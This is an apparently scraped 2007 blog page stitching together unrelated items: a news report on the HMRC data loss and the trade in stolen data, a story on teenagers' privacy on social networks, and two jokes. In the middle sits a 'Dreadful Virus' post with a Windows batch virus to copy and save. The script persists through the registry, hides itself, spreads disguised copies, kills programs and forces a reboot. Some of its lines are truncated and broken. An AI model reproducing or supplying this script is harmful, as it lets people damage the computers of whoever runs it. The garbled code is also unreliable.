Thursday, November 22, 2007
News: How firms and fraudsters deal in data
 Organisations should have policies that govern who does what with data |
The information lost by the HMRC could prove very valuable to fraudsters, computer security experts say.
"In the fraud underworld the quality of data directly impacts the flexibility with which they can use it," said Andrew Moloney, financial services market director for RSA Security.
The more data you have around a subject the more different ways you can use that to commit fraud."
There was no evidence yet that the data was being talked about or sold on the fraud boards and net markets that his company monitors, he said.
However, most vendors of stolen data rarely mention where they got it from. Instead, they typically only mention its quality.
Mr Moloney said there was a well-established chain of buyers and sellers who can handle large amounts of data and pass them on to those that wish to use them to commit fraud.
Safeguarding data
"That's partly grown up to protect the anonymous individuals involved," he said, "and partly because we have seen specialisms develop with individuals finding their own niche in that underground economy."
What also made the data attractive to fraudsters, said Mr Moloney, was that much of the data in it, such as names of children and birth dates, cannot be changed and will be valuable if it reaches criminals in the next week or the next year.
"Once it's compromised it is compromised for the long term," he said.
 | MISSING DATA INCLUDES... National insurance number Name, address and birth date Partner's details Names, sex and age of children Bank/savings account details  |
With computerised databases long established in large organisations, a series of policies and practices has grown up to safeguard the sensitive data they contain - in theory.
In the front line of these safeguards are the strictures laid down by the Data Protection Act which is policed by the Information Commissioner.
The Act details what workers can and cannot do with sensitive data and how it must be treated as well as what staff should do to ensure it is not compromised.
In a statement issued after the HMRC data loss was made public Richard Thomas, the information commissioner, said his organisation was already investigating two other breaches at the government department.
Data commandments
"Searching questions need to be answered about systems, procedures and human error inside both HMRC and the National Audit Office," said Mr Thomas.
 Much of the lost data, such as birth dates, cannot be changed |
Beyond data protection laws most organisations develop their own policies which govern how staff should treat such sensitive information, said Paul Simmonds, a board member of the Jericho Forum - a trade association for IT security bosses at the world's largest organisations.
He said the Jericho Forum had developed a series of "commandments" which organisations should strive to live up to. They detail what organisations should do to ensure data is used appropriately.
They cover such things as levels of security for different types of data; authentication to ensure data use is appropriate and how to share responsibilities for safeguarding information.
"The Jericho Forum has long stated that data must be properly protected, both in transit and at rest," said Mr Simmonds. "Effectively this means sensitive data must always be encrypted.
"This data loss is just another in a long list of organisations who ignore basic security principles," he added.
Shore up defences
Paul Davie, head of database security firm Secerno, said many companies were turning to technology to help shore up their defences.
Security systems that oversaw interaction between a database and its users helped to do more than just stop bad guys from the outside stealing data, he said.
 There are many places online where data is bought and sold |
"They want to understand the way the database is being queried by authorised users and what counts as normal use," said Mr Davie.
"The technology is there to detect unusual behaviour such as a junior downloading huge amounts of data," he added.
Evidence suggests that technology has a significant role to play. A University of Washington study released in March 2007 showed that 60% of data breaches were the result of bad practices inside organisations rather than hackers.
Although there is no evidence that the lost data has got in to the hands of criminals, anyone who did get hold of it, said Mr Davie, would be able to make great use of it.
"This is really high quality data," he said.
Hackers have increasingly targeted databases, he said, because the information inside them was so valuable and well organised.
By contrast data gathered by other hacker tools such as key logging software installed surreptitiously on PCs that watches what people type can produce reams of information that must be cleaned up before it is useable or saleable.
Labels:
Dreadful Virus
This one is a simple batch virus
Just copy and paste the code given below in notepad and save it as anyname.bat(not txt)
Be carefull & Don't run this on ur pc
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentV
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP
----------------------------------------
It will
1) Copy itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer
News: Young warned over social websites
The Information Commissioner's Office found more than half of those asked made most of their information public. Some 71% of 2,000 14 to 21-year-olds said they would not want colleges or employers to do a web search on them before they had removed some material. The commission said the young needed to be aware of their electronic footprint. Vetting tool The ICO also said young people could be putting themselves at risk of identity fraud because of the material they post on social networks such as Facebook and MySpace.
The data regulator's survey found that two thirds of those questioned accepted as friends on such websites people they did not even know. Some 60% posted their date of birth, a quarter put their job title and almost one in 10 gave their home address. ICO deputy commissioner David Smith said: "Many young people are posting content online without thinking about the electronic footprint they leave behind. "The cost to a person's future can be very high if something undesirable is found by the increasing number of education institutions and employers using the internet as a tool to vet potential students or employees." 'Wise up' The survey found 95% were concerned about their details being passed on to advertisers or other websites. There were 54% who cared "a lot" about how their personal information was used. Mr Smith said: "This shows that when young people are made aware that their details could be being passed between parties - legitimate or unscrupulous - they are worried. "We have to help teenagers wise up to every aspect of the internet age they're living in. It may be fun but unfortunately it is not the safe space many think it is." The ICO has launched a new website to help young people understand their information rights. | |||
The cost to a person's future can be very high if something undesirable is found 
Working Ghost
Two men were walking home after a party and decided to take a shortcut through the cemetery just for laughs.Right in the middle of the cemetery they were startled by a tap-tap-tapping noise coming from the misty shadows. Trembling with fear, they found an old man with a hammer and chisel, chipping away at one of the headstones."Holy cow, Mister," one of them said after catching his breath, "You scared us half to death, we thought you were a ghost! What are you doing working here so late at night?" "Those fools!" the old man grumbled. "They misspelled my name!"
Joke: Tragic News
A blonde goes into work one morning crying her eyes out.Her boss, concerned about his employee's well being, asks sympathetically, "What's the matter?"The blonde replies, "Early this morning I got a phone call saying that my mother had passed away.""I'm terribly sorry to hear that. Why don't you go home for the day... we aren't terribly busy. Just take the day off to relax and rest."The blonde very calmly explains, "No, I'd be better off here. I need to keep my mind off it and I have the best chance of doing that here."The boss agrees and allows the blonde to work as usual. "If you need anything, just let me know," he says.A few hours pass and the boss decides to check on the blonde. He looks out over his office and sees the blonde crying hysterically. He rushes out to her, and asks, "Are you going to be okay? Is there anything I can do to help?""No," replies the blonde, "I just got a call from my sister, and she said that HER mom died too!"
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